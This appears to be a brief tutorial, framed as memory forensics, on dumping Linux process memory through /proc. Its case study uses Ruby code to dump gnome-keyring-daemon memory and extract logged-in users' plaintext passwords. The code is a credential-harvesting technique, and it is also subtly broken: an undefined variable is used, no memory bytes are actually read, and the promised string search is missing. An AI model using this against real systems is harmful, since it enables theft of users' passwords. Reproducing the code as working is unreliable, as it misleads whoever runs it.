Memory Forensic
Linux memory
Dump Linux memory
To dump Linux memory for a specific process to disk, we need the follwoing:
- Get process id (PID):
/proc/\[PID\]/cmdline
- cmdline is file holds the complete command line for the process.
- Get PID maps:
/proc/\[PID\]/maps
- maps is file containing the currently mapped memory regions and their access permissions.
- Get processs memory pages:
/proc/\[PID\]/mem
- mem is a file can be used to access the pages of a process’s memory through
Case study
Let’s assume we want to dump gnome-keyring-daemon
process’s memory to our disk in order to extract the logged-in user(s) password(s) since its stored in as a plan text in memory. Moreover, we know that it comes after “libgck-1” or “libgcrypt” strings in memory. We’ll brack that a parts then put it together.
Get process id (PID)
@pids = []
Dir.glob('/proc/*/cmdline').each do |cmdline_file|
processes_name.each do |process|
if File.read(cmdline_file).include? "gnome-keyring-daemon"
@pids << cmdline_file.split('/')[2].to_i # get the pid number from proc/nnn/cmdline
end
end
end
Get PID maps:
@pids_maps = []
@pids.each do |pid|
# Open and parse maps file for each pid
File.readlines("/proc/#{pid}/maps").each do |line|
address, permissions = line.split(' ').first(2)
# Find addresses in readable process memory pages
if permissions.match(/^r.*/)
# Find where pages starts and ends to read, no need to dump the whole memory.
memory_start, memory_stop = address.split('-').map{|r| r.to_i(16)}
chunk_size = memory_stop - memory_start
@pids_maps << {pid: pid, memory_start: memory_start, memory_stop: memory_stop, chunk: chunk_size}
end
end
end
Get processs memory pages:
memory_dump = ''
@pids_maps.each do |pid|
chunk_pointer = File.open("/proc/#{pid[:pid]}/mem", 'rb') # Open mem file
chunk_pointer.seek pid[:memory_start] # put reading pointer where page starts
memory_dump << chunk_pointer
end
File.open('gnome-keyring.dump', 'wb') {|f| f.print memory_dump} # Write dump to the desk as binary